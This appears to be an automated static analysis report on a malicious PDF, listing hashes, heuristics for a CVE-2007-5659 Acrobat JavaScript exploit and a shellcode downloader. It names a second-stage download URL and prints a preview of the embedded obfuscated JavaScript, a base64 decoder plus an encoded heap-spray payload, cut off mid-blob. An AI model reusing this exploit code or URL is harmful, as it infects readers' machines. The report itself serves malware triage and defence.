Malicious PDF — malware analysis report

Static analysis result for SHA-256 bad8b5b64398720b…

MALICIOUS

PDF

746.7 KB First seen: 2026-05-04
MD5: c829952a135eea746e9939d367894380 SHA-1: 20aceafccbbf8b443fc4fc0e2b6f5ecd36f08f49 SHA-256: bad8b5b64398720bd6b1c525d8d353de3248041492fcbd3c25cc1fe4ab788cf8
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream, named 'javascript_obj0018_000.js', is heavily obfuscated but the presence of 'String.fromCharCode' and ML_NYX_PDF_MALICIOUS heuristics indicate malicious intent, likely to download and execute a secondary payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8152

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          output = output + String.fromCharCode(chr1);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://murrr.net/3/getexe.php?spl=pdf_exp Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/t/pg/In PDF document text
    • http://ns.adobe.com/xap/1.0/g/img/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In PDF document text
    • http://ns.adobe.com/xap/1.0/rights/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xmp/InDesign/privateIn PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 17

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0xDEDA 20833 bytes
SHA-256: ec3f31aac29ce5912ea717fbc17f6a07ead2870d666eb580f3aa2a1ef40517e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("DQogdmFyIFk1NzdJTTdJMSA9IG5ldyBBcnJheSgpOw0KIHZhciBXZEZpM2p2Ymg7DQogdmFyIGxhdmUgPSBldmFsOw0KICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNmMlNzUlNGElNDklNTIlNGYlNDYlNDIlNmElMjglNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMmMlMjAlNzYlNTElMzIlNzYlNzUlNjYlNDIlNjMlNjklMjklMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNzYlNTElMzIlNzYlNzUlNjYlNDIlNjMlNjklMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMjAlMmIlM2QlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMjAlM2QlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNzYlNTElMzIlNzYlNzUlNjYlNDIlNjMlNjklMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklM2IlMjAlMjAlMjAlN2QlMjAlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNTIlNTklNGElNjMlN2ElNDUlNzYlNDglNjclMjglNzIlNTglNzIlMzUlNDclNTYlNTAlNmElNmElMjklMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNzIlNTglNzIlMzUlNDclNTYlNTAlNmElNmElMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGUlNDklMzUlNTklNDUlNTUlNjElNDElNGYlMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjIlNGMlMzIlNzklNDclNWElNDklNzQlNWElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzYlNDQlMzIlNDYlMjUlNzUlMzclMzIlMzclMzUlMjUlNzUlMzclMzIlMzclMzIlMjUlNzUlMzYlNDUlMzIlNDUlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzMlMzMlMzIlNDYlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNzIlNTglNzIlMzUlNDclNTYlNTAlNmElNmElMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGUlNDklMzUlNTklNDUlNTUlNjElNDElNGYlMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjIlNGMlMzIlNzklNDclNWElNDklNzQlNWElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzYlNDQlMzIlNDYlMjUlNzUlMzclMzIlMzclMzUlMjUlNzUlMzclMzIlMzclMzIlMjUlNzUlMzYlNDUlMzIlNDUlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzMlMzMlMzIlNDYlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNzIlNTglNzIlMzUlNDclNTYlNTAlNmElNmElMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjIlNGMlMzIlNzklNDclNWElNDklNzQlNWElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzYlNDQlMzIlNDYlMjUlNzUlMzclMzIlMzclMzUlMjUlNzUlMzclMzIlMzclMzIlMjUlNzUlMzYlNDUlMzIlNDUlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzMlMzMlMzIlNDYlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlNzAlNzIlNDMlMzAlNGYlMzUlNDQlNjYlMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzMlNjQlNTAlNDklNTQlNjklNGQlMzIlNzclMjAlM2QlMjAlNjIlNGMlMzIlNzklNDclNWElNDklNzQlNWElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzYlNTElMzIlNzYlNzUlNjYlNDIlNjMlNjklMjAlM2QlMjAlNjQlNzAlNzIlNDMlMzAlNGYlMzUlNDQlNjYlMjAlMmQlMjAlMjglNzMlNjQlNTAlNDklNTQlNjklNGQlMzIlNzclMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMjAlM2QlMjAlNmMlNzUlNGElNDklNTIlNGYlNDYlNDIlNmElMjglNzclNjQlNGMlNTMlNDUlNTElNWElNGIlNjklMmMlMjAlNzYlNTElMzIlNzYlNzUlNjYlNDIlNjMlNjklMjklM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzMlNjMlMzclNDclNzMlNTIlNDglNzElNjklMjAlM2QlMjAlMjglNGUlNDklMzUlNTklNDUlNTUlNjElNDElNGYlMjAlMmQlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlMj